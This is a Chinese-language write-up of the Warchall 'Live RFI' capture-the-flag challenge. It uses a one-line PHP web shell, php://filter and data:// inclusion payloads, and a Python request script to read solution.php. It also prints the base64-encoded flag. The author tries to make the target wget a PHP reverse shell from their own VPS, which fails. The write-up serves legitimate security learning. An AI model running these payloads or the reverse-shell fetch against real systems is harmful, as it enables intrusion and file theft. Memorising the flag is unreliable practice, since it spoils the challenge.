Warchall Live RFI 远程文件包含

题目地址

访问http://rfi.warchall.net/。

web目录fuzz,以及index.php查看源码

远程命令执行漏洞

查看文件

1
2
3
4
5
6
7
8
9
http://rfi.warchall.net/temp/payload.php?cmd=ls
conf.txt
index.php.bak
live_rfi.config.php.bak
payload.php
sol.php~
sol.txt
solution.php.bak
tplc

http://rfi.warchall.net/temp/payload.php?cmd=pwd

/home/level/15_live_rfi/www/temp

11


1
2
3
4
5
6
7
8
9
10
11
12
13
http://rfi.warchall.net/temp/payload.php?cmd=ls%20-al%20/home/level/15_live_rfi/www

total 44
drwxr-x--- 5 root level15 4096 Jun  3  2012 .
drwxr-x--- 3 root level15 4096 May  8  2012 ..
drwxr-x--- 2 root level15 4096 May  8  2012 cache
-rwxr-x--- 1 root level15  168 Jun  3  2012 de
-rwxr-x--- 1 root level15  157 Jun  3  2012 en
-rwxr-x--- 1 root level15  894 Jun  3  2012 index.php
-rwxr-x--- 1 root level15 4762 Mar 14  2014 live_rfi.config.php
-rwxr-x--- 1 root level15  300 Jun  3  2012 solution.php
drwxrwx--- 3 root level15 4096 Jan 18  2019 temp
drwxr-x--- 4 root level15 4096 Jun  3  2012 tpl

获得flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
http://rfi.warchall.net/index.php?lang=php://filter/convert.base64-encode/resource=temp/payload.php

echo PHByZT48P3BocCBzeXN0ZW0oJF9HRVRbImNtZCJdKTsgPz48L3ByZT4=| base64 -d
<pre><?php system($_GET["cmd"]); ?></pre>

---
http://rfi.warchall.net/temp/payload.php?cmd=whoami

level15
权限不够,无法执行wget shell写入

---
http://rfi.warchall.net/temp/payload.php?cmd=pwd

/home/level/15_live_rfi/www/temp

---

`http://rfi.warchall.net/temp/payload.php?cmd=base64 /home/level/15_live_rfi/www/solution.php`

将solution.php base64编码,然后本地或者在线网站解码,翻到最下面就可以得到flag。

尝试写入shell

本地开启python server,放一个反弹shell的php脚本。

1
2
3
4
5
6
curl http://rfi.warchall.net/temp/payload.php?cmd=wget http://vps's IP:8080/php-reverse-shell.php -P /tmp/whale.php

目标机器成功访问vps的php-reverse-shell.php,但没有写入whale.php
---
http://rfi.warchall.net/temp/payload.php?cmd=ls /tmp/whale.php

没有成功在/tmp目录下写入shell。原因可能是权限太低了。

writeup

1
2
3
4
5
6
7
8
9
10
11
import requests

url = "http://rfi.warchall.net/index.php"

params = {
    "lang": "data://text/plain,<?php print file_get_contents('solution.php',true);?>"
}

r = requests.get(url, params=params, verify=False)
print r.content

这是个什么操作?

访问http://rfi.warchall.net/index.php?lang=data://text/plain,<?php print file_get_contents('solution.php',true);?>

反正失败了,没得到solution.php的结果。使用另外一种伪协议php filter

http://rfi.warchall.net/index.php?lang=php://filter/convert.base64-encode/resource=/home/level/15_live_rfi/www/solution.php

1
echo PGh0bWw+Cjxib2R5Pgo8cHJlPk5PVEhJTkcgSEVSRT8/Pz88L3ByZT4KPC9ib2R5Pgo8L2h0bWw+CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCByZXR1cm4gJ0xvd19INE5HSU5HX0ZydWl0JzsgPz4K | base64 -d

同样可以获得solution.php

总结

出题方,肯定不会让人写入shell,或者反弹shell,不然服务器稳定性肯定会出问题。说不定会有些人写入垃圾数据塞满磁盘等等。

rfi和lfi的区别在于,远程文件包含危害更大,可以访问攻击者指定的文件。

在这里如果http://rfi.warchall.net/temp/payload.php?cmd=wget http://vps's IP:8080/php-reverse-shell.php -P /tmp/whale.php有写权限的话,就可以得到一个shell。而本地文件包含一般要通过文件上传的方式去传一个shell,然后再通过本地文件包含漏洞去执行,而rfi就不用。

不过这里payload.php看起来像是远程命令执行漏洞,不是个rfi。而其他人的writeup虽然使用了data伪协议,去访问flag,但看起来好像还是个lfi漏洞。可能是题目没出好。

感觉没有让做题的人深刻的感受到rfi与lfi的区别,只是用了一下伪协议的知识点。

参考资料

浅谈文件包含漏洞